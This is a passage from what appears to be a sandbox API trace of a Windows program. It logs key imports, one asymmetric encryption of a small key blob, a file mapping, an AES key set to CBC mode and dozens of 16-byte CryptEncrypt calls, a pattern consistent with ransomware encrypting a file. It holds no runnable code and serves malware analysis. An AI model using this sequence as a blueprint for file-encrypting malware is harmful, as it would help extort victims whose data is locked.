returned 0x11501e1 [0063.218] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b8e8) returned 1 [0063.219] CryptImportKey (in: hProv=0x163b8e8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0063.219] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.219] CryptDestroyKey (hKey=0x1639528) returned 1 [0063.219] CryptReleaseContext (hProv=0x163b8e8, dwFlags=0x0) returned 1 [0063.219] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16694, lpName=0x0) returned 0x3a4 [0063.219] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16694) returned 0x3450000 [0063.220] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bec0) returned 1 [0063.220] CryptImportKey (in: hProv=0x163bec0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639b68) returned 1 [0063.221] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.221] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.222] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.224] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.225] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, 